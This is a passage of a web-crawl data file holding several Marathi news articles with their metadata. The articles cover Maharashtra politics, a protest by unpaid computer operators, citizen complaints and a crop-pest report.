»\nRoyale फसवणूक फासा एप्रिल 22, 2016\nगेम म्हणता (पीसी, Xbox आणि ता.क.)\nमोबाइल म्हणता (iOS & Android)\nBeatzGaming सर्व हक्क राखीव.", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00271.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "http://www.esakal.com/maharashtra/manforce-advertise-ban-demand-rpi-40607", "date_download": "2018-09-25T17:32:03Z", "digest": "sha1:CNIWDX7Q3YJ7ZWDZ47CG6WMQFB6UKWOV", "length": 12439, "nlines": 171, "source_domain": "www.esakal.com", "title": "manforce advertise ban demand by rpi मॅनफोर्सच्या जाहिरातीवर बंदी घालण्याची रिपाइंची मागणी | eSakal", "raw_content": "\nमॅनफोर्सच्या जाहिरातीवर बंदी घालण्याची रिपाइंची मागणी\nमंगळवार, 18 एप्रिल 2017\nमुंबई - अभिनेत्री सनी लिओन करत असलेल्या मॅनफोर्स कंडोमच्या जाहिराती या अनैतिकता आणि अश्‍लीलतेचा प्रचार करणाऱ्या, तसेच समस्त महिलावर्गासाठी अपमानजनक असल्याचे सांगत रिपब्लिकन पार्टी ऑफ इंडिया आठवले गटाच्या महिला आघाडीने या जाहिरातींच्या प्रसारणावर बंदीची मागणी माहिती आणि प्रसारण मंत्रालयाकडे केली आहे.\nमुंबई - अभिनेत्री सनी लिओन करत असलेल्या मॅनफोर्स कंडोमच्या जाहिराती या अनैतिकता आणि अश्‍लीलतेचा प्रचार करणाऱ्या, तसेच समस्त महिलावर्गासाठी अपमानजनक असल्याचे सांगत रिपब्लिकन पार्टी ऑफ इंडिया आठवले गटाच्या महिला आघाडीने या जाहिरातींच्या प्रसारणावर बंदीची मागणी माहिती आणि प्रसारण मंत्रालयाकडे केली आहे.\nएखाद्या कंडोमची जाहिरात करण्याला आमचा विरोध नाही; मात्र मॅनफोर्स कंडोमच्या जाहिरातीसंदर्भात आम्हाला अनेक महिलांच्या तक्रारी प्राप्त झाल्या असून, ही जाहिरात सहकुटुंब पाहणे म्हणजे खूपच लज्जास्पद अनुभव असल्याचा दावा रिपाइंच्या महिला आघाडीच्या वतीने करण्यात आला आहे. उच्च भारतीय संस्कृती आणि प्राचीन काळापासून आपल्या आचार-विचारात असलेली तत्त्वे आणि नीतीमूल्ये यांचा विचार करता ही जाहिरात म्हणजे आपल्या संस्कृतीवर एक प्रकारे घाला घालण्याचा प्रकार असल्याचेही तक्रारीत नमूद केले आहे. या जाहिरातील स्त्री पात्राच्या चेहऱ्यावरील बिभत्स आणि अश्‍लील भाव हे नैतिकता आणि महिलांच्या सन्मानाची पायमल्ली करणारे आहेत.\nत्यामुळे आम्ही या तक्रारीद्वारे केंद्रीय माहिती आणि प्रसारण खात्याला या जाहिरातीच्या प्रसारणावर बंदी घालण्याची विनंती केली आहे. तसेच संबंधित विभागाने आमच्या तक्रारीची दखल न घेतल्यास आम्ही राज्य महिला आयोगाकडेही दाद मागणार असल्याची माहिती रिपाइंच्या महिला आघाडीच्या पदाधिकारी शीला गांगुर्डे यांनी दिली.\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00271.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/University-will-accept-the-decision-of-the-change-of-name-Pri-Manohar-Dhonde/", "date_download": "2018-09-25T16:56:42Z", "digest": "sha1:MWQDD4UWWSIXJIUBXUTA7WHR7VLQU6VZ", "length": 13108, "nlines": 54, "source_domain": "www.pudhari.news", "title": " विद्यापीठ नामांतराबाबत न्यायालयाचा निर्णय मान्य करणार : प्रा. मनोहर धोंडे | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › विद्यापीठ नामांतराबाबत न्यायालयाचा निर्णय मान्य करणार : प्रा. मनोहर धोंडे\nविद्यापीठ नामांतराबाबत न्यायालयाचा निर्णय मान्य करणार : प्रा. मनोहर धोंडे\nसोलापूर विद्यापीठाच्या नामांतरविरोधात शिवा संघटनेने उच्च न्यायालयात धाव घेतली असून नामांतरास पुढील सुनावणीपर्यंत स्थगिती मिळाली आहे. नामांतराबाबत न्यायालय जो निर्णय देईल, तो आम्ही मान्य करू, असे शिवा संघटनेचे संस्थापक अध्यक्ष प्रा. मनोहर धोंडे यांनी मंगळवारी पत्रकार परिषदेत सांगितले.\nमुख्यमंत्र्यांनी 5 नोव्हेंबर 2017 रोजी सोलापूर विद्यापीठाला अहिल्यादेवी होळकर यांचे नाव देण्याची घोषणा केली होती. यानंतर नामांतराबाबत मंत्री गटाची उपसमिती गठीत करण्याचा शासन निर्णय 3 मार्च रोजी घेण्यात आला. या निर्णयाविरोधात तसेच सोलापूर विद्यापीठाने 19 डिसेंबर रोजी नामांतराबाबत केलेल्या ठरावाविरोधात शिवा संघटनेने 15 मार्च रोजी उच्च न्यायालयात जनहित याचिका दाखल केली होती. न्या. रणजित मोरे व न्या. साधना जाधव यांच्यासमोर 22 मार्चच्या सुनावणीवेळी सरकारी वकिलांनी वेळ वाढवून मागितली, पण विषयाचे गांभीर्य लक्षात घेऊन न्यायालयाने एका दिवसाची वेळ वाढवून दिली.\n23 मार्चच्या सुनावणीवेळी शिवा संघटनेचे वकील सतीश तळेकर यांनी याचिकेचा निकाल लागेपर्यंत नामांतराबाबत सरकारने कोणताही निर्णय घेऊ नये, यासाठी अंतरिम स्थगिती देण्यासाठी युक्तिवाद केला. यावर सरकारी वकील अभिनंदन वग्यानी यांनी एक महिन्याचा अवधी वाढवून मागितला असता अ‍ॅड. तळेवकर यांनी आक्षेप घेतला. विधीमंडळ अधिवेशन चालू असल्याने नामांतराचे विधेयक मंजूर करण्याचा घाट सरकारने घातल्याचे सांगत त्यांनी अंतरिम स्थगितीची विनंती केली. यावर न्यायाधीशांनी सरकारी वकिलांना पुढील सुनावणीपर्यंत सरकार नामांतराबाबत कोणताही निर्णय घेणार नाही, या अटीवर तारीख वाढवून दिली. पुढील सुनावणी 16 एप्रिल रोजी ठेवण्यात आली आहे, असे धोंडे यांनी सांगितले.\n10 मार्च 2004 रोजी सुशीलकुमार शिंदे हे मुख्यमंत्री असताना सोलापूर विद्यापीठाची घोषणा केली होती. यानंतर शिवा संघटनेने त्यांची भेट घेऊन विद्यापीठाला महात्मा बसवेश्‍वर किंवा सिद्धेश्‍वर यांचे नाव देण्याची मागणी केली होती. त्यास मुख्यमंत्र्यांनी तत्वत: मंजुरी दिली होती, पण विद्यापीठाची विद्या परिषद स्थापन न झाल्यामुळे हा विषय प्रलंबित राहिला. असे असताना केवळ मतांच्या राजकारणासाठी पुण्यश्‍लोक अहिल्यादेवी होळकर यांचे नाव देण्याची घोषणा करुन दोन समाजात तेढ निर्माण करण्याचा प्रयत्न केला जात आहे. वास्तविक हा दोन समाजांचा वाद नाही. शिवा संघटना न्यायालय जे निर्णय देईल, त्यास बांधील राहणार आहे. नामांतराच्या घोषणेनंतर विद्यापीठाच्या व्यवस्थापन परिषदेच्या बैठकीतील नामांतराचा ठराव हा नियमबाह्य आहे, असे धोंडे यावेळी म्हणाले.\nलिंगायत तसेच वीरशैव लिंगायतला अल्पसंख्याकचा दर्जा देण्याची कर्नाटक सरकारची शिफारस हास्यास्पद आहे. देशात सहाच धर्म असून नवीन धर्माला मान्यता देण्याचा निर्णय केंद्राने याआधीच घेतला होता. लिंगायत हा वीरशैवाचा प्रचलित शब्द आहे. असे सांगत लिंगायत समाजाला स्वतंत्र धर्माचा अथवा अल्पसंख्याकचा दर्जा देण्यास शिवा संघटनेचा विरोध आहे, असे सांगत महाराष्ट्र सरकारनेही 2014 मध्ये कर्नाटकासारखी शिफारस केली होती, पण तसे करता येत नसल्याचे पत्र केंद्राकडून देण्यात आले होते.\nआता कर्नाटकाबाबतही असेच होणार आहे. लिंगायत समाजात मताच्या राजकारणासाठी फूट पाडण्याचा प्रयत्न करणार्‍या कर्नाटकातील काँग्रेसची सरकारची सत्ता आगामी निवडणुकीत झाल्याशिवाय राहणार नाही, असेही धोंडे यांनी यावेळी सांगितले. मंगळवेढा येथे महात्मा बसवेश्‍वरांचे राष्ट्रीय स्मारक करण्याची मागणी शिवा संघटनेचीच आहे. तीन वर्षांपूर्वी राज्य सरकारने तशी घोषणा केली, पण त्याची अंमलबजावणी केली नाही. सोलापूरचे पालकमंत्री विजयकुमार देशमुख व जिल्हा प्रशासन याबाबत उदासीन आहे, असा आरोप करीत धोंडे यांनी स्मारकासाठी 62 एकर जमीन मिळण्यासाठी लवकरच मुख्यमंत्र्यांची भेट घेणार असल्याचे सांगितले. पत्रकार परिषदेला माजी कुलगुरू ईरेश स्वामी, सिद्धेश्‍वर साखर कारखान्याचे चेअरमन धर्मराज काडादी, माजी आ. विश्‍वनाथ चाकोते, वीरभद्रेश बसवंती, राजशेखर हिरेहब्बू, गुरुलिंग शिवाचार्य, डॉ. मल्लिकार्जुन शिवाचार्य, नीलकंठ शिवाचार्य, रेणुक शिवाचार्य, बसवराज बगले आदी उपस्थित होते.\nछ. कल्पनाराजे भोसले यांची जमीन बनावट खरेदी दस्त करून लाटल्याप्रकरणी गुन्हा\nरिधोरेत घरफोडी; पावणेदोन लाखांचा ऐवज लंपास\nडॉक्टर मुलाचे अपहरण करुन ठार मारण्याची धमकी; चौघांवर गुन्हा दाखल\nसर्व्हिस सेंटरला आग : लाखोंचे नुकसान\nनेहरु व सावित्रीबाई वसतिगृहांतील विद्यार्थ्यांची हजाराने भाडेवाढ होणार\nपैसे घेऊन चारचाकी गाडी दिलीच नाही; तिघांविरुद्ध फसवणुकीचा गुन्हा\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00271.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/ajay-more-demand-tourism-progress-2141948.html", "date_download": "2018-09-25T16:37:29Z", "digest": "sha1:DQLDUKC2NUQYZYYVK7EXCQGEGUEOS6UO", "length": 5410, "nlines": 144, "source_domain": "divyamarathi.bhaskar.com", "title": "ajay more demand tourism progress | छगन भुजबळांनी वेळागरचा विकास साधावा", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nछगन भुजबळांनी वेळागरचा विकास साधावा\nशिरोडा - तत्कालीन विरोधी पक्षनेते तथा राज्याचे पर्यटनमंत्री छगन भुजबळ यांचा प्रारंभापासून शिरोडा वेळागरवाडी ग्रामस्थांना वेळोवेळी पाठिंबा आणि सहकार्य आहेच.\nशिरोडा - तत्कालीन विरोधी पक्षनेते तथा राज्याचे पर्यटनमंत्री छगन भुजबळ यांचा प्रारंभापासून शिरोडा वेळागरवाडी ग्रामस्थांना वेळोवेळी पाठिंबा आणि सहकार्य आहेच. त्यांनी परिसरातील युवकांना पर्यटनविषयक शासनाच्या योजनांचा लाभ मिळवून द्यावा, जेणेकरून या भागाचा विकास होईल आणि सुशिक्षित युवक स्वतःच्या पायावर उभे राहतील, अशी मागणी वेळागर सर्व्हे नंबर 39 मधील सामाजिक कार्यकर्ते व तंबू प्रकल्प निर्माते अजय मरे यांनी केली.\nसुनील तटकरे यांना धक्का, पुतण्याचा शिवसेनेत प्रवेश, कोकणात राष्ट्रवादीला भगदाड\nमराठा समाजाचा एल्गार आता कोकणातही; चिपळूणमध्ये धडकले भगवे वादळ\nWhatsapp वर मिळवा आता कोकणातील हापूस, करा ऑनलाईन खरेदी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00271.warc.wet.gz", "language": "mr", "language_score": 0.7, "bucket": "all"} {"url": "http://amp.esakal.com/kokan/computer-operators-district-are-going-give-collective-resignation-114346", "date_download": "2018-09-25T17:10:15Z", "digest": "sha1:YBNUMWAXFYRLYKF6HG4G72BKN33WXZ7V", "length": 6846, "nlines": 47, "source_domain": "amp.esakal.com", "title": "Computer operators in the district are going to give a collective resignation जिल्ह्यातील संगणक परिचालक देणार सामूहिक राजीनामे | eSakal", "raw_content": "\nजिल्ह्यातील संगणक परिचालक देणार सामूहिक राजीनामे\nसुनील पाटकर | रविवार, 6 मे 2018\nसंगणक परिचालकांच्या न्याय व हक्कांसाठी आणि केलेल्या कामाचा मोबदला वेळेत मिळावा या साठी CSC-SPV कंपनीच्या विरोधात 9 एप्रिल पासुन कामबंद आंदोलन सुरु केले आहे.\nमहाड - महाराष्ट्र सरकारच्या आपले सरकार सेवा केंद्रातर्गत काम करणाऱ्या संगणक परिचालकांवर मानधन न मिळाल्याने उपासमारीची वेळ आलेली आहे आपल्या न्याय व हक्कांसाठी रायगड जिल्ह्यातील सर्व संगणक परिचालक 11 मे ला जिल्हापरिषदेवर मोर्चा काढून ठिय्या आंदोलन करणार आहेत. तसेच त्याच दिवशी शासन आणि कंपनीचा निषेध म्हणून सामूहिक राजीनामे देणार आहेत. महाराष्ट्र राज्य संगणक परिचालक संघटनेचे रायगड जिल्हाध्यक्ष मयूर कांबळे (महाड) यांनी ही माहिती दिली.\nमहाराष्ट्र सरकारला यावर्षीचा पंचायत राज पुरस्कार मिळवून देण्यात संगणक परिचालकांनी महत्वाचे काम केलेले आहे. संगणक परिचालकांनी ग्रामपंचायतीमध्ये नेट कनेक्शन नसताना सायबर मध्ये स्वखर्चाने जाऊन तसेच उशिरा थांबून ग्रामपंचायतीची कामे पूर्ण केलेली आहेत त्याचसोबत जे काम शिपाई आणि लिपिकाचे आहे ती देखील कामे संगणक परिचालक करत आहेत. परंतु संगणक परिचालकांच्या न्याय व हक्कांसाठी आणि केलेल्या कामाचा मोबदला वेळेत मिळावा या साठी CSC-SPV कंपनीच्या विरोधात 9 एप्रिल पासुन कामबंद आंदोलन सुरु केले आहे. मानधन वेळेत न मिळाल्यास आंदोलन करण्या बाबत मुख्य कार्यकारी अधिकारी यांनी निवेदन देऊनही त्याची दखल प्रशासनाने न घेतल्याने तसेच CSC-SPV कंपनीच्या चुकांवर पांघरून घालणाऱ्या शासनाचा निषेध म्हणून रायगड जिल्हा संगणक परिचालक संघटनेच्या वतीने 11 मे ला रायगड जिल्हा परिषदेवर मोर्चा काढून ठिय्या आंदोलन आणि त्याच दिवशी रायगड जिल्ह्यातील सर्व संगणक परिचालक सामुहिक राजीनामे देणार आहेत .\nजोपर्यंत आमचे आज पर्यंत चे सर्व थकीत मानधन आम्हाला मिळत नाही तोपर्यंत जिल्हा परिषदे समोरून संगणक परिचालक उठणार नाहीत, असा इशारा मयूर कांबळे यांनी दिला आहे. फेब्रुवारी 2017 ते मार्च 2018 थकित मानधन मिळावे, काही संगणकचालकांचे फेब्रुवारी 2017 ते डिसेंबर 2017 चे मानधन कपात केले आहे ते मिळावे, आरटीजीएस मध्ये अडकलेले मानधन मिळावे, अशा अनेक मागण्या संगणक परिचालकांनी केल्या आहेत.\nआपण एका क्लिकवर ताजे अपडेट्स आपल्या मोबाईलमध्येही मिळवू शकता.\n'ई सकाळ'चे अॅप डाउनलोड करण्यासाठी क्लिक करा.\nशेतीविषयीची अपडेट असलेले 'अॅग्रोवन' अॅप डाउनलोड करण्यासाठी ​क्लिक करा.\nराजकारणाची प्रत्येक घडामोड कळविणारे 'सरकारनामा' अॅप डाउनलोड करण्यासाठी क्लिक करा.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00272.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/528183", "date_download": "2018-09-25T17:15:28Z", "digest": "sha1:YZ44TK6LNGN4HHWVVW7N7OQ3TPJ47VVA", "length": 4661, "nlines": 40, "source_domain": "www.tarunbharat.com", "title": "भाजप खासदार नाना पटोले ‘मातोश्री’वर - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » Top News » भाजप खासदार नाना पटोले ‘मातोश्री’वर\nभाजप खासदार नाना पटोले ‘मातोश्री’वर\nऑनलाईन टीम / मुंबई :\nभारतीय जनता पक्षाचे खासदार नाना पटोले शिवसेना पक्षप्रमुख उद्धव ठाकरेंची भेट घेण्यासाठी ‘मातोश्री’वर दाखल झाले आहेत. नाना पटोले आणि उद्धव ठाकरे यांच्यामध्ये विविध मुद्यांवर चर्चा होणार असल्याची माहिती मिळत आहे.\nभारतीय जनता पक्षातील नाराज नेत्यांना एकत्र करण्यासाठी नाना पटोले प्रयत्न करत आहेत. यासाठी त्यांनी उद्धव ठाकरेंची भेट घेण्यासाठी वेळ मागितली होती. त्यानुसार नाना पटोले उद्धव ठाकरेंची भेट घेण्यासाठी ‘मातोश्री’वर दाखल झाले आहेत. यावेळी उभय नेत्यांमध्ये विविध महत्त्वपूर्ण मुद्यांवर चर्चा केली जाणार आहे. याशिवाय काँग्रेसचे उपाध्यक्ष राहुल गांधी यांचीही नाना पटोले भेट घेणार असून, यासाठी त्यांनी वेळ मागितली असल्याचे सांगितले जात आहे.\nजपानचे पंतप्रधान शिंजो आबे आजपासून भारत दौऱयावर\nनाशिक मनपातील बालकल्याण समिती सदस्यांचा रूद्रावतार\nमध्य-उत्तर महाराष्ट्रासह विदर्भात गारपिटीचे संकेत\nसंत विचारांमुळेच महाराष्ट्राची संस्कृती टिकून : मुख्यमंत्री देवेंद्र फडणवीस\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00273.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://amp.esakal.com/citizen-journalism/citizen-journalist-114584", "date_download": "2018-09-25T16:44:23Z", "digest": "sha1:7JUP7CEZAXIFJY33HD3ESFQ745NAVE6L", "length": 7595, "nlines": 57, "source_domain": "amp.esakal.com", "title": "citizen journalist चला, बनूया सिटिझन जर्नालिस्ट... | eSakal", "raw_content": "\nचला, बनूया सिटिझन जर्नालिस्ट...\nसकाळ वृत्तसेवा | सोमवार, 7 मे 2018\nतुम्हीही व्हा 'सिटिझन जर्नालिस्ट'\nतुमच्या आजुबाजूला घडणार्‍या गोष्टी, तुम्हाला जाणवणार्‍या समस्या, त्यावरचे उपाय हे सगळे मांडण्यासाठी आता तुमच्यासाठी हक्काचे 'संवाद' हे माध्यम उपलब्ध करून देण्यात आले आहे. यासाठी 'सकाळ संवाद' मोबाईल अॅप्लिकेशन डाऊनलोड करा. त्याद्वारे तुम्ही आम्हाला फोटो, व्हिडिओ आणि बातम्या पाठवू शकता. हे करताना आपले संपूर्ण नाव आणि संपर्क क्रमांक आवर्जून द्या.\nबोपदेव घाटात सूचना फलकांची गरज कात्रज-खडी मशिन चौक-बोपदेव घाट ते सासवड मार्गावर नव्याने पीएमपी बस सुरू केली आहे. मात्र या मार्गावर सूचना फलक व दिशादर्शक फलक लावले नसल्याने प्रवासी व वाहनचालकांचा गोंधळ उडत आहे. तसेच बोपदव घाटातील धोकादायक वळणावर सूचना फलक लावावेत. जेणेकरून अपघातांचे प्रमाण कमी होईल. - एक नागरिक\nसिग्नल सुरू करावेत पुणे मेट्रोच्या कामाला गती मिळाली असली तरी कोथरूडमधील वनाज कॉर्नर येथे सिग्नलची अपुरी व्यवस्था अनेकांना समस्या निर्माण करत आहे. या चौकातील सिग्नल बंद असल्यामुळे वाहतूक कोंडी मोठ्या प्रमाणात होते. स्थानिक नगरसेवक आणि महापालिका यांनी सिग्नल सुरू करण्यासाठी तातडीने सूचना कराव्यात. जेणेकरून वाहतुकीच्या समस्यांना नागरिकांना तोंड द्यावे लागणार नाही. - समर्थ कुंभोजकर\nलोकलची संख्या वाढवावी पुणे-लोणावळा या रेल्वे मार्गावर प्रवास करणाऱ्या नागरिकांची संख्या सतत वाढत आहे. या मार्गावर लोकल रेल्वे गाड्या कमी पडत असल्याने प्रवाशांचा खेळंबा होत आहे. यामुळे रेल्वे प्रशासनाने सकाळच्या सुमारास नवीन गाड्या सुरू केल्यास विद्यार्थी, व्यवसायिकांची सोय होईल. - हेमंत भालेराव\nनागरिकांचा पाण्यासाठी सिडकोत दोन तास ठिय्या\nऔरंगाबाद - सिडको एन-तीन, एन-चार भागात पाणीप्रश्‍न गंभीर बनला असून, पाणी मिळाल्याशिवाय गणेश विसर्जन केले जाणार नाही, असा इशारा देत नागरिकांनी...\nऔरंगाबाद - छावणीत उत्साहात निघालेली गणेश विसर्जन मिरवणूक.\nगुलालाची उधळण अन्‌ ‘पावली’\nऔरंगाबाद - छावणीतील गणरायांना परंपरेनुसार अकराव्या दिवशी निरोप दिला जातो. त्यानुसार छावणी गणेश महासंघाच्या गणरायाची सोमवारी सायंकाळी आरती करून सहा...\nक्रिकेटपटू नितीन नरळकर याचे निधन\nचिपळूण - चिपळूणचे क्रिकेटपटू नितीन नरळकर (वय. ४५) यांचे रविवारी रात्री हृदयविकाराच्या तीव्र झटक्‍याने निधन झाले. नितीन यांनी क्रिकेटमध्ये...\nसेंद्रिय शेती आणि पीक उत्पादनवाढीसाठी राज्य आणि केंद्र सरकारच्या विविध योजना आहेत. यामध्ये प्रामुख्याने माती परीक्षण, जैविक खते यासाठी अनुदान उपलब्ध...\nमनमाड - काम न करता पगार घेणाऱ्या डॉक्टरची चौकशी करणारी समितीच संशयाच्या भोवऱ्यात\nमनमाड - मनमाड उपजिल्हा रुग्णालयात एकही दिवस सेवा न देता पगार काढणारा डॉक्टर व त्यास पाठीशी घालणाऱ्या वरिष्ठांची चौकशी करण्यासाठी नेमलेली चौकशी समितीच...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00274.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%A2%E0%A4%97%E0%A4%BE%E0%A4%B3-%E0%A4%B9%E0%A4%B5%E0%A4%BE%E0%A4%AE%E0%A4%BE%E0%A4%A8%E0%A4%BE%E0%A4%AE%E0%A5%81%E0%A4%B3%E0%A5%87-%E0%A4%AD%E0%A5%81%E0%A4%88%E0%A4%AE%E0%A5%82%E0%A4%97/", "date_download": "2018-09-25T16:48:24Z", "digest": "sha1:BF6PSHUJ6WYHZAS3C7NWHY3DUEF626NW", "length": 6463, "nlines": 126, "source_domain": "www.dainikprabhat.com", "title": "ढगाळ हवामानामुळे भुईमूग हंगाम धोक्‍यात | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nढगाळ हवामानामुळे भुईमूग हंगाम धोक्‍यात\nचिंबळी – गेल्या पधंरा ते वीस दिवसांपूर्वी सतत पडलेल्या रिमझिम पावसाने खरीप हंगामातील पिकांना दिलासा मिळाला होता; परंतु गेल्या आठवड्यापासून हवामानात बद्दल होऊन ढगाळ वातावरण निर्माण होऊ लागले असल्याने खरीप हंगामातील सोयाबीन पिकासह वाल, मूग, उडीद, भुईमूग पिकासह किडी रोगाचा प्रादुर्भाव होऊन पानावर लहान लहान किड्यानी पोखरले आहे, त्यामुळे पिकाची वाढ खुंटली आहे. खेड तालुक्‍यातील कुरुळी, चिंबळी परिसरात गेल्या दोन महिन्यांपूर्वी शेतकऱ्यांनी घेतलेल्या खरीप हंगामातील सोयाबीन आणि भुईमूग पिकाला हवामान बदलामुळे किडीचा प्रादुर्भाव झाल्याने पिकाची वाढ खुंटली असून, पिके पिवळे पडू लागले आहेत. शेतकऱ्यांना यासाठी आता महागडी औषध फवारणी करावी लागणार आहे. गेल्या पाच वर्षांपासून खरीप हंगामातील भुईमूग पिकाचे उत्पन्न घेण्यासाठी शेतकरी वर्ग कमी झाले असून, सोयाबीनचे पीक घेण्याकडे शेतकऱ्यांची पसंती आहे. थोडंफार शेतकरी वर्गानी भुईमुग पीक घेत असून त्यावर किडी रोगाचा प्रादुर्भाव झाल्याने उत्पन्न घटून केलेला खर्चही वसूल होतो की नाही, यांची चिंता आता शेतकऱ्यांना लागली आहे.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleजमीन खरेदी करण्यापूर्वी हे वाचा\nNext articleअक्षयकुमारने ‘ट्विट’केले २.० च्या टिझर लॉन्चचे काउंट डाऊन\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00274.warc.wet.gz", "language": "mr", "language_score": 0.87, "bucket": "all"} {"url": "https://article.wn.com/view/WNATe4a8ff0c4b7d440025947f8a96e2b972/", "date_download": "2018-09-25T16:58:05Z", "digest": "sha1:Z6LOYCUQHZZCOFJWQCWM4P7AVKJP6ISN", "length": 13583, "nlines": 145, "source_domain": "article.wn.com", "title": "शहर काँग्रेसमध्ये नव्या वादाला तोंड फुटणार - Worldnews.com", "raw_content": "\nशहर काँग्रेसमध्ये नव्या वादाला तोंड फुटणार\nम. टा. प्रतिनिधी, पुणे\nकाँग्रेसच्या प्रदेश कार्यकारिणीवर पुणे शहरातून बारा जणांची निवड करण्यात आली असून, माजी मुख्यमंत्री पृथ्वीराज चव्हाण यांच्या समर्थकांना ‘कात्रजचा घाट’ दाखविण्यात आल्याचे दिसते आहे. त्यामुळे पक्षासाठी वर्षोनुवर्षे झटत असतानाही डावलले गेल्याने पुण्यातील काँग्रेसमध्ये नव्या वादाला तोंड फुटले आहे.\nकॉंग्रेसमध्ये भाकरी फिरलीच नाही\nपुणे - प्रदेश कॉंग्रेसवर 12 प्रतिनिधी नियुक्त करताना ज्येष्ठ नगरसेवक आबा बागूल, महापालिकेतील गटनेते अरविंद शिंदे आणि माजी नगरसेविका नीता रजपूत यांची नव्याने नियुक्ती झाली...\nभाजपाच्या सर्व्हेत झोल - डावललेल्यांचा आरोप\nमीरा रोड : डावलल्या गेलेल्या उमेदवारांची आधीच बंडाचा पवित्रा घेतला असतानाच आता ज्या सर्व्हेच्या 